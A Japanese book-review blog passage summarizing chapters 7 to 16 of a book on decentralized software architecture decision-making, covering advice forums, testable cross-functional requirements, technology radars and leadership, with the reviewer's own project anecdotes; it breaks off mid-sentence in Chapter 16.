Iで示したアドバイスプロセスとADRsを基盤として、それらを実効性のある仕組みへと成長させるために必要な要素を解説します。従来のヒエラルキー型組織から信頼ベースの分散型組織への移行における権限とガバナンスの再構築から始まり、その実現を支援する具体的な仕組みを提示します。特徴的なのはアーキテクチャ・アドバイスフォーラム、クロスファンクショナル要件、技術戦略、アーキテクチャ原則、テクノロジーレーダーといった支援要素の導入です。これらは一見シンプルですが、組織の状況に応じて柔軟に適用・進化させることができる実践的なツールです。このパートは、分散型アーキテクチャの実践に不可欠な信頼の文化を育むための具体的なアプローチを提供します。組織の一貫性を保ちながら分散型の意思決定を実現する方法を学ぶことができます。Chapter 7. Replacing Hierarchy with Decentralized Trust第7章「Replacing Hierarchy with Decentralized Trust」は、組織の階層構造を分散化された信頼関係へと転換する過程について詳細に解説しています。この章を通じて著者は、アーキテクチャの実践における信頼の重要性と、その育成・維持に必要な要素を具体的に示しています。変化を起こすリーダーはまず信頼を構築する 生き残る組織に変えるリーダーシップ作者:Frances Frei(フランシス・フライ),Anne Morriss(アン・モリス)日本能率協会マネジメントセンターAmazon信頼に基づく意思決定への転換アーキテクチャ・アドバイスプロセスは従来の階層的な意思決定構造を根本から変革します。意思決定の責任と説明責任を再分配し、より分散的で柔軟な組織構造を実現します。この転換は組織に大きな変化をもたらします。あるプロジェクトでは、従来のアーキテクチャ・レビューボードを廃止し、アドバイスプロセスへの移行を実施しました。当初は混乱もありましたが、チーム間のコミュニケーションが活発になり意思決定のスピードが大幅に向上しました。信頼文化の醸成著者は信頼文化の育成が不可欠だと主張します。信頼は自然に生まれるものではなく、意識的な取り組みが必要です。組織の規模が大きくなるにつれて、信頼関係の維持は難しくなります。とある案件では週次の振り返りミーティングを設け、意思決定プロセスの透明性を確保しています。これにより、チームメンバー同士の信頼関係が強化され、より良い意思決定が可能になりました。フロー重視のマインドセット著者はフローを重視するマインドセットの重要性を強調します。Netflixの事例を引用しながら、不必要な規則や承認プロセスを排除することの意義を説明します。実際のプロジェクトでも、過度な承認プロセスがボトルネックとなっていた経験があります。アドバイスプロセスの導入により、意思決定のフローが改善され、開発のスピードが向上しました。信頼の維持と成長組織の成長とともに信頼関係を維持することは困難になります。著者は小規模なチームから大規模な組織への移行過程で起こる課題を詳細に分析します。あるプロジェクトでは、チームの規模拡大に伴い、非公式なクリークが形成され始めました。この問題に対して、定期的な1on1ミーティングとフィードバックセッションを導入することで、信頼関係の維持に成功しました。信頼を支える要素著者は信頼関係を支える追加的な要素について言及します。これにはアーキテクチャ・アドバイスフォーラムや検証可能なCFRなどが含まれます。これらの要素は組織の状況に応じて選択的に導入することが重要です。とある案件では技術レーダーを導入し、技術選定の透明性を確保しています。これにより、チーム間の知識共有が促進され、より良い意思決定が可能になりました。確実性と予測可能性の誘惑著者は確実性と予測可能性への執着に警鐘を鳴らします。これは組織が官僚主義に陥る主要な原因となります。私も以前、過度な標準化により柔軟性を失ったプロジェクトを経験しています。実験的アプローチの重要性著者は継続的な実験とフィードバックの重要性を強調します。これは組織学習の核心です。とある案件でも小規模な実験から始め、成功事例を徐々に拡大するアプローチを採用しています。結論この章は、分散化された信頼に基づくアーキテクチャ実践への移行について、実践的な指針を提供しています。組織の成長に伴う信頼関係の変化と、それに対する対応策の重要性は印象的でした。これらの知見は、現代のソフトウェア開発組織に重要な示唆を与えます。技術の進化とともに組織構造も進化が必要です。分散化された信頼関係に基づく意思決定プロセスは、その進化の重要な一歩となるでしょう。今後の課題としては、リモートワークの普及に伴う信頼関係の構築方法や、グローバル組織における文化的な違いへの対応などが考えられます。これらの課題に対しても、本章で示された原則は有効な指針となるはずです。Chapter 8. An Architecture Advice Forum第8章「An Architecture Advice Forum」は、アーキテクチャ・アドバイスプロセスを支援する重要なツールとしてのアーキテクチャ・アドバイスフォーラムについて詳細に解説しています。この章を通じて、著者は定期的な対話の場がアーキテクチャ意思決定の質を向上させ、組織の信頼関係を強化する方法を具体的に示しています。ダイアローグ 価値を生み出す組織に変わる対話の技術作者:熊平美香ディスカヴァー・トゥエンティワンAmazonアドバイスフォーラムの本質アーキテクチャ・アドバイスフォーラムは単なる会議ではありません。それは意思決定プロセスを透明化し信頼関係を構築する場です。従来のアーキテクチャレビューボードとは異なり、承認プロセスではなく対話を重視します。このフォーラムの導入により意思決定の質が劇的に向上しました。あるプロジェクトでは、マイクロサービスアーキテクチャへの移行を決定する際にアドバイスフォーラムを活用し、多様な視点からの意見を集約できました。フォーラムの構造と運営フォーラムはシンプルな構造を持ちます。新規の決定案件に対するアドバイス、既存の決定のステータス確認、そしてその他の事項という基本的な議題構成です。このシンプルさが参加者の集中力を高め、本質的な議論を可能にします。実際の運用では定期的な開催が重要です。週次や隔週での開催が一般的ですが、組織の規模や文化に応じて調整が必要です。とある案件では週次開催を採用し、必要に応じて臨時セッションも設けています。協調的な議論の促進従来の対立的な議論から協調的な対話へのシフトがアドバイスフォーラムの特徴です。参加者は意見を戦わせるのではなく、共通の課題解決に向けて知見を共有します。Figure 8-1は従来の一対一のアドバイス形式と、フォーラム形式の違いを明確に示しています。フォーラムでは複数の視点が同時に共有され、より豊かな議論が可能になります。Figure 8-1. Comparing the interaction modes of the “no advice forum” approach (multiple, one-to-one serial interactions, one after another) with the “advice forum” alternative (multiple conversations, all in the same forum, with an audience of other advice offerers as well as nonadvising, learning observers) より引用信頼関係の構築アドバイスフォーラムは信頼関係の構築に大きく貢献します。定期的な対話を通じて、チーム間の理解が深まり、組織全体の凝集性が高まります。このフォーラムを通じて部門間の壁が徐々に低くなっていきました。実践的な導入方法フォーラムの導入は段階的に行うべきです。まず小規模なグループで実験的に開始し、成功事例を積み重ねていくアプローチが効果的です。初期段階では明確な目的と期待値を設定することが重要です。とある案件では最初の3ヶ月を試験期間として設定し、参加者からのフィードバックを基に継続的な改善を行いました。この経験から、フォーラムの形式は組織の文化に合わせて柔軟に調整すべきだと学びました。組織的な影響フォーラムは組織文化の変革をもたらします。透明性の向上は信頼関係を強化し、より良い意思決定を可能にします。また、新しいメンバーの参加障壁を下げ、知識共有を促進します。結論アーキテクチャ・アドバイスフォーラムは、現代のソフトウェア開発組織に不可欠なツールです。透明性と信頼を基盤とした意思決定プロセスは、より良いアーキテクチャの実現と組織の成長を支援します。今後の課題としては、リモートワーク環境でのフォーラムの効果的な運営や、大規模組織での展開方法の確立が挙げられます。しかし、フォーラムの基本原則を理解し適切に適用すれば、これらの課題も克服できるはずです。このフォーラムは組織の成熟度を高める強力な触媒となります。アーキテクチャ設計の質を向上させるだけでなく、エンジニアリング組織全体の協調性と創造性を高める効果があります。Chapter 9. Testable CFRs and Technology Strategy第9章「Testable CFRs and Technology Strategy」は、組織の技術的アラインメントを実現するための2つの重要な要素について詳細に解説しています。著者はテスト可能なCFR(Cross-Functional Requirements)と技術戦略を通じて、効果的な組織アラインメントを実現する方法を具体的に示しています。組織アラインメントの本質組織のアラインメントは単なる技術的な整合性以上のものです。多くの組織が技術的な標準化のみに注力し、ビジネス目標との整合性を見失いがちです。実際のプロジェクトでは、技術的な方向性は揃っていても組織の目標達成に寄与していないケースをよく目にします。あるプロジェクトでは、マイクロサービスアーキテクチャの採用により技術的な統一は図れましたが、サービスの分割粒度が業務の実態と合わず、結果として開発効率の低下を招きました。テスト可能なCFRの重要性著者はテスト可能なCFRの必要性を強調しています。CFRはシステム全体に横断的に適用される要件を明確にします。重要なのは、これらの要件が具体的でテスト可能な形で記述されることです。とある案件では、パフォーマンス要件を具体的な数値で定義し、自動テストで継続的に検証できるようにしました。「レスポンスタイムは500ms以内」といった曖昧な表現ではなく、「95%のリクエストが500ms以内、99%が800ms以内に完了すること」と明確に定義することで、チーム間の認識の違いを解消できました。技術戦略の役割技術戦略は組織の方向性を示す重要なツールです。著者は技術戦略を「組織のビジョンと目標達成に向けた技術的な選択と投資判断のフレームワーク」と定義しています。多くの組織が技術戦略を単なる技術選定の指針として扱いがちです。しかし、より重要なのは「何を選択しないか」の明確化です。あるプロジェクトでは、特定のクラウドプロバイダーに限定することで、運用負荷の軽減とコスト最適化を実現できました。ミニマルバイアブルアグリーメント著者は必要最小限の合意の重要性を強調します。これはCFRと技術戦略の両方に適用される概念です。過剰な標準化や制約は組織の柔軟性を損なう一方、不十分な合意は混乱を招きます。とある案件では「最小驚き原則」を採用し、チーム間で予期せぬ違いが発生していないかを定期的にチェックしています。これにより、必要な標準化と柔軟性のバランスを維持できています。戦略的投資の重要性著者は技術戦略を「言葉だけでなく投資」として具現化することを推奨します。これは共有サービスの形で実現されることが多いです。セルフサービス型のインフラストラクチャプラットフォームの提供が効果的でした。各チームが独自のインフラを構築・運用するのではなく、標準化されたプラットフォームを利用することで、開発効率の向上とコスト削減を実現できました。結論CFRと技術戦略は組織アラインメントを実現する上で不可欠なツールです。これらを適切に組み合わせることで、組織は効率的かつ効果的な意思決定が可能になります。しかし、これらのツールの導入には慎重なアプローチが必要です。組織の規模や文化に応じて、段階的な導入と継続的な改善が重要です。今後は、分散開発やクラウドネイティブアーキテクチャの普及に伴い、より柔軟で適応性の高いCFRと技術戦略の在り方が求められるでしょう。技術の進化に合わせて、これらのフレームワークも進化させていく必要があります。Chapter 10. Collectively Sourced Architectural Principles第10章「Collectively Sourced Architectural Principles」は、組織全体で共有されるアーキテクチャ原則の策定と維持について解説しています。この章を通じて著者は、アーキテクチャ原則が単なるドキュメントではなく、組織の技術戦略を実現するための重要な指針となることを示しています。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazonアーキテクチャ原則の本質アーキテクチャ原則は組織の技術戦略を具体化する重要なツールです。多くの組織がトップダウンでアーキテクチャ原則を定めようとしますが、そのアプローチでは現場の実態と乖離した形骸化した原則になりがちです。実際のプロジェクトでは、チームメンバー全員で原則を策定することで、より実践的で実効性のある原則を作ることができました。例えばマイクロサービスアーキテクチャの採用において、「チームの独立性を最も重視する」という原則を設定し、サービス間の結合度を最小限に抑えることができました。learning.oreilly.comプリンシプルワークショップの実践著者はプリンシプルワークショップを通じて、組織全体で原則を策定することを推奨しています。重要なのは、参加者の多様性と、戦略的なテーマに基づいた原則の整理です。原則のメンテナンス原則の進化も重要なテーマです。著者は原則を「生きたドキュメント」として捉え、定期的な見直しと更新の必要性を説きます。ADRsを通じて原則の変更を記録し、その背景と理由を明確にすることで、組織の学習を促進できます。クラウドネイティブ化の過程で原則の見直しが必要になりました。「自社のクラウド」という原則に縛られすぎて柔軟性を失っていたため、「適切なクラウドサービスの選択」という原則に更新しました。組織文化との関係著者は原則が組織文化の反映であることを強調します。単なる技術的なガイドラインではなく、組織の価値観とビジョンを体現するものとして位置づけています。私のチームでは原則の策定プロセス自体が、組織文化の変革のきっかけとなりました。チーム間の対話が活発になり、技術的な決定に対する共通理解が深まりました。実践的な適用原則の適用は柔軟であるべきです。著者は原則を「絶対的なルール」ではなく「意思決定の指針」として捉えることを推奨します。これは現代のソフトウェア開発における不確実性に対応する賢明なアプローチです。例えば、あるプロジェクトでは特定の機能実装において原則との衝突が発生しましたが、その状況をADRで明確に記録し、例外的な対応の理由を共有することで、チーム全体の理解を深めることができました。結論アーキテクチャ原則は、組織の技術戦略を実現するための重要なツールです。しかし、その効果を最大限に引き出すためには、全員参加の策定プロセス、定期的な見直し、そして柔軟な適用が不可欠です。今後の課題としては、リモートワーク環境での原則策定ワークショップの実施方法や、グローバル組織での文化的な違いへの対応が挙げられます。しかし、著者が示した基本的なフレームワークは、これらの課題に対しても十分な適用可能性を持っています。Part III. Finding Your Way Through the Decision LandscapeChapter 11. Technology Radar第11章「Using a Technology Radar」は、組織の技術選択と意思決定を支援するためのツールとしてのTechnology Radarについて解説しています。著者は単なる技術トレンドの可視化ツール以上の価値をTechnology Radarに見出し、組織の集合知を活用した意思決定支援の仕組みとして位置づけています。Technology Radarといえばどこかのポッドキャストでt-wadaさんがオススメをしていたのでそこから見始めている(本当に覚えてなくて誰か教えてください⋯)。www.thoughtworks.comTechnology Radarの本質Technology Radarは航空管制のレーダーに似た形式で技術トレンドを可視化します。Thoughtworksが開発したこのツールは技術の採用状況を4つの象限(Tools/Techniques/Platforms/Languages & Frameworks)と4つのリング(Adopt/Trial/Assess/Hold)で表現します。著者はこれを「単なる技術マッピングではなく組織の集合的な経験と知見を凝縮したもの」と説明します。このビジュアライゼーションは一目で技術の位置づけを把握できる優れた特徴を持ちます。「Mermaid」のような新興技術が「Trial」から「Adopt」へ移行する様子や「AWS」が「Adopt」から「Trial」へ後退する変遷など、技術の盛衰を時系列で追跡できます。Technology Radarと意思決定プロセスTechnology Radarは組織の意思決定プロセスと密接に連携します。アーキテクチャ決定記録(ADR)にTechnology Radarのブリップ(技術要素)を参照することで、決定の文脈や根拠を明確にできます。Technology Radarと意思決定プロセスの連携は双方向です。新しい技術の採用決定は新規ブリップの追加につながり、既存技術の評価変更は位置の移動として反映されます。この相互作用により、組織の技術選択の履歴と根拠が透明化されます。組織独自のTechnology Radarの構築著者は組織固有のTechnology Radarの重要性を強調します。社内版Technology Radarでは自社開発のツールやフレームワークもブリップとして登録できます。また象限やリングの定義も組織の文脈に合わせて調整可能です。Technology Radarの作成プロセスもまた重要な価値を持ちます。ブリップの収集から位置づけの決定まで、組織全体を巻き込んだ共創的なプロセスとして設計されています。このプロセス自体が技術に関する組織的な対話と学習の機会となります。継続的な更新と発展Technology Radarは定期的な更新(リスイープ)により鮮度を保ちます。更新プロセスにおけるブリップのステータス変更を示しています。定期更新に加えて個別の意思決定に応じた随時更新も可能です。この柔軟な更新メカニズムにより、組織の技術動向をリアルタイムに反映できます。更新の際にはブリップの履歴を保持することが推奨されます。各ブリップの変遷を追跡できる履歴ページを用意することで、技術選択の経緯と根拠を後から参照できます。これは新規参画者のオンボーディングや過去の意思決定の振り返りに有用です。実践的な示唆Technology Radarの実践では、適切な更新頻度の設定が重要です。著者は四半期または半年ごとの更新を推奨していますが、組織の技術変化の速度に応じて調整が必要です。より重要なのは更新のクオリティです。表面的な技術トレンドの追跡ではなく、組織の経験と教訓を凝縮した有意義な指針となることを目指すべきです。Technology Radarの運用では意思決定支援ツールとしての本質を見失わないことが肝要です。単なる技術カタログではなく、組織の技術選択を導く羅針盤として機能させる必要があります。そのためには技術情報の蓄積だけでなく、その活用を促進する仕組みづくりも重要です。Technology Radarは組織の技術戦略を可視化し共有するための強力なツールです。しかしその効果を最大限に引き出すには、組織文化や既存のプロセスとの調和が不可欠です。形式的な導入ではなく、組織の意思決定プロセスと密接に連携させることで、真の価値を発揮できます。結論Technology Radarは組織の技術選択を支援する効果的なツールとして機能します。その価値は単なる技術トレンドの可視化にとどまらず、組織の集合知を活用した意思決定支援の仕組みとして重要です。定期的な更新と履歴の保持により、組織の技術進化の軌跡を記録し学習に活かすことができます。意思決定プロセスとの密接な連携により、組織全体の技術力向上に貢献する重要な基盤となります。Part III. Finding Your Way Through the Decision LandscapePart III: Finding Your Way Through the Decision Landscape では、分散型の意思決定プロセスを効果的に実践するためのフレームワークや技術、心構えを紹介しています。まず、意思決定における人間的な側面に焦点を当て、感情、創造性、バイアス、恐れといった要素がどのように意思決定に影響を与えるかを探り、それを乗り越えるために認知科学やチェックリストを活用して自己の弱点を意識的に克服する方法を提案します。また、ソフトウェア開発における不確実性や「未知の未知」に対処するために、小さな決定を迅速に積み重ねるアプローチや、最小限の機能を持つシステムを構築して初期段階で重要な決定を検証する「Walking Skeleton」を推奨し、スパイクを活用してリスクを軽減する方法を説明します。さらに、意思決定の相互関連性を認識し、過去と未来の決定がどのように影響し合うかを4つの視点から分析しながら、技術的および社会技術的な要素を考慮したアプローチを示し、組織内の信頼関係や文化の影響を考慮した対話やフィードバックを重視することの重要性を強調しています。これらを通じて、分散型の意思決定を支える心構えと実践的な手法を提供し、複雑な意思決定の環境を乗り越えるための実用的な知見を得られるようにしています。Chapter 12. The Art of Deciding第12章「The Art of Deciding」は、アーキテクチャ意思決定における人間的な側面、感情や創造性といった定量化が難しい要素に焦点を当てています。著者は意思決定を単なる論理的プロセスとしてではなく、人間の感性や組織の文化が深く関わる芸術的な営みとして捉え、その本質と実践方法を詳細に解説しています。コンテキストのフレーミング意思決定における最初の重要なステップは適切なコンテキストの設定です。著者は地図の比喩を用いて説明します。1:1の地図は全ての詳細を含むものの実用的ではありません。一方で1:1000の地図は必要な情報を抽象化し意思決定を支援します。意思決定のコンテキストも同様に適切な抽象化と焦点付けが重要です。例えば私が以前関わったクラウド移行プロジェクトでは、技術的な観点だけでなく法規制やビジネス要件も含めた包括的なコンテキストを設定することで、より適切な意思決定が可能になりました。オプションと結果の検討意思決定のオプションと結果を検討する際は創造性が重要な役割を果たします。著者は「フレームに制限されすぎない」ことを強調します。これは実務でも重要な指摘です。以前のプロジェクトで既存のアーキテクチャパターンにとらわれすぎた結果、より良いソリューションを見逃した経験があります。オプションの検討ではインスピレーションの源を広く求めることも重要です。技術書だけでなく他分野の知見も参考になります。例えば著者は農業の本からも洞察を得ています。この多面的なアプローチは新しい視点をもたらします。アドバイスを通じた洗練アドバイスプロセスは意思決定の質を高める重要な要素です。ただしこれは形式的なものではなく社会的な契約として機能します。著者はBadaraccoの質問フレームワークを引用し「我々の義務は何か」「現実の世界で何が機能するか」といった観点からの検討を推奨します。実務ではアドバイスの質と形式のバランスが重要です。形式的なレビューに陥らず建設的な対話を生み出すには組織文化の醸成が必要です。私のチームでは週次のアーキテクチャ・フォーラムを設け、オープンな議論の場を作っています。メタ認知の重要性著者は意思決定者のメタ認知(自己の思考プロセスへの理解)の重要性を強調します。これは感情やバイアスへの対処に重要です。例えば「なぜその選択に不安を感じるのか」「どのようなバイアスが働いているのか」を意識的に考えることで、より良い判断が可能になります。実践では3つのエクササイズが提案されています。理由の共有・反応と応答の区別・挑戦的なアドバイスの積極的な収集です。これらは日々の意思決定プロセスに組み込むことで効果を発揮します。意思決定の実行最後の意思決定の実行段階では恐れとバイアスへの対処が重要です。著者はBikartの5つの恐れ(失敗・成功・同一化・認識欠如・利己性)を紹介し、これらへの認識と対処の重要性を説明します。実務では「決定を試着する」というアプローチが有効です。ADRをドラフト状態で作成し一晩置くことで、より客観的な判断が可能になります。私のチームでもこのプラクティスを採用し効果を上げています。組織文化への影響本章の内容は個人の意思決定スキル向上だけでなく組織文化の変革にも大きな示唆を与えます。従来型のアーキテクトが意思決定権限を手放し、アドバイザーとしての新しい役割を受け入れるプロセスは重要です。本章では著者が実際に経験した事例としてPete Hunter(エンジニアリングディレクター)のケースが印象的です。Pete Hunterはアーキテクチャ・アドバイスプロセスを初めて導入したクライアントの一人でした。彼は当初、チームに意思決定権限を委譲することへの不安や懸念を抱えていましたが、プロセスを通じて組織の成長を実感しました。Hunterの事例は権限移譲における心理的な課題を鮮明に示しています。彼は意思決定権限の委譲に際して、チームの能力や判断への不安、コントロール欲求との葛藤など、多くのリーダーが直面する感情的な課題を率直に語っています。しかし最終的に彼は「We need to let go and support them」(権限を手放してチームをサポートする必要がある)という重要な洞察に至りました。この経験は組織における信頼構築と権限委譲の本質を示す貴重な事例となっています。結論アーキテクチャ意思決定は論理的な分析だけでなく人間的な要素を含む複雑な営みです。本章は意思決定の「アート」としての側面に光を当て、より効果的な実践のための具体的なガイダンスを提供しています。重要なのはコンテキストのフレーミング、創造的なオプション検討、アドバイスプロセスの活用、メタ認知の実践です。これらの要素を意識的に取り入れることで、より良いアーキテクチャ意思決定が可能になります。今後の組織運営においては、これらの知見を活かした意思決定プロセスの確立と、それを支える文化の醸成が重要な課題となるでしょう。技術的な卓越性と人間的な洞察の両立が、現代のソフトウェアアーキテクチャ実践には不可欠です。Chapter 13. Tackling Architectural Variability第13章「Tackling Architectural Variability」は、ソフトウェア開発における不確実性とアーキテクチャの可変性に焦点を当てています。著者は同じシステムを二度と作ることはないという洞察から始め、この本質的な可変性にどう向き合うべきかについて具体的な指針を提供します。BIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?作者:ベント・フリウビヤ,ダン・ガードナーサンマーク出版Amazon可変性の本質と影響ソフトウェア開発における可変性は避けられない現実です。最も慎重に計画された開発プロジェクトでさえ予期せぬ変化に直面します。例えばある大規模プロジェクトでは、当初想定していなかったスケーリング要件の変更により、ID管理システムの設計を大幅に見直す必要が生じました。可変性は4つの主要な課題をもたらします。作業の困難さ、予測不可能な変更の発生、認知的負荷の増大、そしてコミュニケーションと同期のオーバーヘッドです。これらの課題は個々のチームだけでなく組織全体に影響を及ぼします。可変性への実践的アプローチ著者は可変性を単なる問題としてではなく「ソフトウェアの力の源泉」として捉え直すことを提案します。この視点は非常に重要です。私のチームでも、予期せぬ要件変更を新機能開発の機会として活用した経験があります。重要なのは小さな決定の積み重ねというアプローチです。この方法は3つの利点を持ちます。第一に意思決定から実装までの時間を短縮できます。第二にオーバーヘッドを削減できます。そして第三にフィードバックを加速し、リスクを低減できます。Walking Skeletonの活用著者は初期の意思決定を検証する手段としてWalking Skeletonの概念を紹介します。これは最小限の機能を持つ実装を通じて、主要なアーキテクチャ上の決定を早期に検証する手法です。新規プロジェクトの立ち上げ時にこのアプローチを採用し、大きな効果を得ました。注目すべきは機能的なコンテキストを通じた決定の検証です。単なる技術的な検証ではなく実際のユースケースに基づく検証により、より実践的なフィードバックを得ることができます。フラクチャープレーンの活用大きな決定を分割する際の指針として著者はフラクチャープレーンの概念を提示します。機能的、タイミング的、コードベース上の分割点を見極めることで、より効果的な意思決定が可能になります。私のプロジェクトでも、マイクロサービスの分割において、この考え方に基づいてサービス境界を定義し、成功を収めました。将来のフローへの影響意思決定は現在の開発フローだけでなく将来のフローにも影響を与えます。著者はReinertsenの「小さなバッチサイズは高いオーバーヘッドを生む」という一般的な認識への反論を紹介します。実際の開発現場でも、小さな決定の積み重ねが結果として意思決定の質と速度を向上させる事例を多く経験しています。結論可変性はソフトウェア開発の本質的な特徴であり、それを排除するのではなく「活用する」という視点が重要です。著者の提案する小さな決定の積み重ねというアプローチは、現代のソフトウェア開発における実践的な指針となります。この方法はマイクロサービスアーキテクチャなど複雑なシステムの開発において、高い効果を発揮しています。今後の組織運営においては、この知見を活かし「予測不可能性を前提とした開発プロセス」の確立が重要な課題となるでしょう。技術的な卓越性と人間的な洞察の両立が、現代のソフトウェアアーキテクチャ実践には不可欠です。Chapter 14. Variability and the Interconnectedness of Decisions第14章「Variability and the Interconnectedness of Decisions」は、アーキテクチャ意思決定の相互関連性とその可変性について深く掘り下げています。著者は意思決定の関係性を4つの視点から分析し、それらを理解し効果的に扱うためのツールとしてスパイクの活用を提案しています。「変化を嫌う人」を動かす:魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル,船木 謙一(監修)草思社Amazonスパイクによる可変性への対処意思決定の可変性に対処する強力なツールとして著者はスパイクの活用を提案します。スパイクは不確実性の高い決定を検証する際に非常に効果的です。例えば以前のプロジェクトでマイクロサービスアーキテクチャへの移行を検討した際、スパイクを使って主要なアーキテクチャ上の決定を早期に検証できました。Figure 14-1. Spikes fit into an overall decision process at the start, somewhere around “decision required” and “option making” より引用Figure 14-1に示されるように、スパイクは意思決定プロセスの初期段階で活用されます。本番環境へのデプロイまで待たずにフィードバックを得られることは大きな利点です。実際にスパイクを通じて想定外の課題を早期に発見し、アプローチを修正できた経験が何度もあります。意思決定の4つの視点著者は意思決定の関係性を理解するための4つの視点を提示します。第一に意思決定の連続性です。決定は単独で存在するのではなく時系列上で連なっています。第二に逆ピラミッド構造です。より低層の決定が上層の決定のコンテキストを形成します。第三に原子性です。これ以上分割できない最小単位の決定が存在します。第四に双方向の対話です。新しい決定が過去の決定に影響を与えることもあります。この4つの視点は実務でも非常に有用です。あるプロジェクトでは意思決定の逆ピラミッド構造を意識することで、より効果的な決定順序を設計できました。低層の決定が上層に与える影響を考慮することは重要です。レイヤー構造の重要性著者は意思決定を3つの主要なレイヤーで捉えることを提案します。レイヤー1は独立した製品やプログラムに関する決定です。レイヤー2は境界と制約の保護です。レイヤー3は自律的で接続されたコミュニティに関する決定です。でもこのレイヤー構造の理解は非常に重要でした。クラウドネイティブアプリケーションの開発では、レイヤー2での適切な境界設定が後の開発の成否を大きく左右しました。各レイヤーの特性を理解し意識的に決定を行うことで、より堅牢なアーキテクチャを実現できます。社会技術的な複雑性意思決定の相互関連性は技術的な側面だけでなく社会的な側面も持ちます。著者は信頼関係とコントロールの感覚の重要性を強調します。技術的に正しい決定であっても、組織の信頼関係が損なわれると実装が困難になることがあります。この文脈で参考になるのが『何回説明しても伝わらない』という本です。この本は認知科学の観点から、コミュニケーションの本質的な課題と解決策を提示しています。特に「話せばわかる」という前提自体を問い直し、相手の立場に立った理解と伝達の重要性を説いています。これは分散型アーキテクチャにおける意思決定プロセスを考える上でも重要な示唆を与えてくれます。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazonスパイクはこの社会技術的な複雑性にも対処できます。コードを書いて検証するという具体的なアプローチは、抽象的な議論よりも建設的な対話を促進します。私のチームでもスパイクを通じた検証により、チーム間の信頼関係を強化できた経験があります。結論可変性と相互関連性を持つアーキテクチャ意思決定において、スパイクは強力なツールとなります。意思決定の4つの視点を理解し、適切なレイヤー構造で捉えることで、より効果的な意思決定が可能になります。また社会技術的な側面にも配慮することで、組織全体としての決定の質を向上させることができます。今後の組織運営においては、これらの知見を活かし「早期検証と段階的な進化」を重視したアプローチが重要になるでしょう。技術的な卓越性と人間的な洞察の両立が、現代のソフトウェアアーキテクチャ実践には不可欠です。Chapter 15. The Transition of Power and Accountability第15章「The Transition of Power and Accountability」は、アーキテクチャ意思決定プロセスの導入に伴う権限と責任の移行について深く掘り下げています。著者は組織的・個人的な課題に焦点を当て、分散型アーキテクチャ実践への移行を成功させるための具体的な指針を提供します。権限移行の本質的な課題組織における権限移行は単純なプロセスではありません。伝統的な階層構造から分散型の意思決定モデルへの移行には大きな困難が伴いました。重要なのは心理的安全性の確保です。Figure 15-1. A circles and roles view of the advice process that shows the accountabilities inherent in the advice process, how they map to various roles, and how those roles interrelate より引用Figure 15-1は意思決定プロセスにおける役割と責任の関係を示しています。このモデルは単なる組織図ではなく、各役割が持つ責任と相互の関係性を明確に示します。実際のプロジェクトでもこのような可視化が有効でした。権限を得る側の課題権限を得る側の主な課題は「本当に権限を持っているのか」という不安です。私のチームでも当初はアーキテクトに過度に依存する傾向がありました。これを克服するには明確なコミュニケーションと段階的な移行が重要です。NetflixのSunshiningの例は印象的です。失敗を隠すのではなく公開し学習する文化は、権限移行の成功に不可欠です。私のプロジェクトでもこのアプローチを採用し、チームの自律性と学習能力が大きく向上しました。権限を手放す側の課題権限を手放す側も大きな不安を抱えます。「悪い決定がされるのではないか」という懸念は自然なものです。私自身もアーキテクトとしてこの不安を経験しました。しかし重要なのは「完璧な決定」ではなく「学習と改善のプロセス」です。注意が必要なのはサボタージュの問題です。著者は意図的な妨害行為の具体例を挙げています。このような行為は往々にして無意識に行われることが多く、早期発見と対処が重要でした。メタ認知の重要性著者はメタ認知(自己の思考プロセスの理解)の重要性を強調します。これは私も強く共感する点です。「反応」と「応答」の区別は実践的に非常に重要です。あるプロジェクトでは、チーム全体でこの概念を共有することで、より建設的な対話が可能になりました。メタ思考~「頭のいい人」の思考法を身につける作者:澤円大和書房Amazon結論権限と責任の移行は組織にとって大きな挑戦です。しかし適切に実施することで、より強靭で適応力のある組織を作ることができます。心理的安全性の確保と明確なコミュニケーションが重要でした。今後の組織運営においては、心理的安全性の確保と透明性の高いプロセスの確立が重要な課題となります。技術的な卓越性と人間的な洞察の両立が、現代のソフトウェアアーキテクチャ実践には不可欠です。Chapter 16. On Leadership第16章「On Leadership」は、分散型アーキテクチャにおけるリーダーシップの本質と実践について深く掘り下げています。著者はリーダーシップに関する一般的な誤解を解き、分散型アーキテクチャの文脈における効果的なリーダーシップのあり方を具体的に示しています。誰もが人を動かせる! あなたの人生を変えるリーダーシップ革命作者:森岡毅日経BPAmazonリーダーシップの誤解を解く著者はまずリーダーシップに関する4つの主要な誤解を指摘します。第一に「リーダーシップは生まれつきの才能である」という誤解です。著者はPeter Druckerの言葉を引用し「リーダーシップはパフォーマンスであり地道な仕事である」と主張します。第二に「リーダーシップは階層と結びついている」という誤解です。実際の組織では「ピーターの法則」として知られるように階層的な昇進は必ずしもリーダーシップ能力と一致しません。むしろ階層的な昇進システムそのものがリーダーシップの育成を阻害する可能性があります。第三に「リーダーシップは一方向的である」という誤解です。従来の考え方では指示は上から下へ一方向に流れると想定されてきました。しかし現代の組織では双方向のコミュニケーションとフィードバックが不可欠です。第四に「リーダーシップはマネジメントと同じである」という誤解です。マネジメントが現状の最適化を目指すのに対しリーダーシップは変革と未来に焦点を当てる点で本質的に異なります。Leader-Leaderアプローチ著者はリーダーシップのモデルとしてL. David Marquetの「Leader-Leader」アプローチを推奨します。このアプローチは全員がリーダーになり得るという信念に基づいています。重要なのは認知的な仕事においては従来の上意下達型のリーダーシップが機能しないという洞察です。Leader-Leaderアプローチでは「私はこうするつもりです」という宣言を通じてリーダーシップを実践します。この宣言に対して反対がなければ実行に移せます。これにより意思決定の分散化と迅速化を両立できます。移行期のリーダーシップ課題分散型アーキテクチャへの移行期には4つの主要な課題があります。第一に「コントロールを手放す」ことです。これは単なる形式的な権限移譲ではなく心理的な変革を必要とします。第二に「安全性を個別の決定より優先する」ことです。多様な視点を取り入れるには心理的安全性の確保が不可欠です。技術的な正しさよりも組織の信頼関係構築を優先する必要があります。第三に「I intend 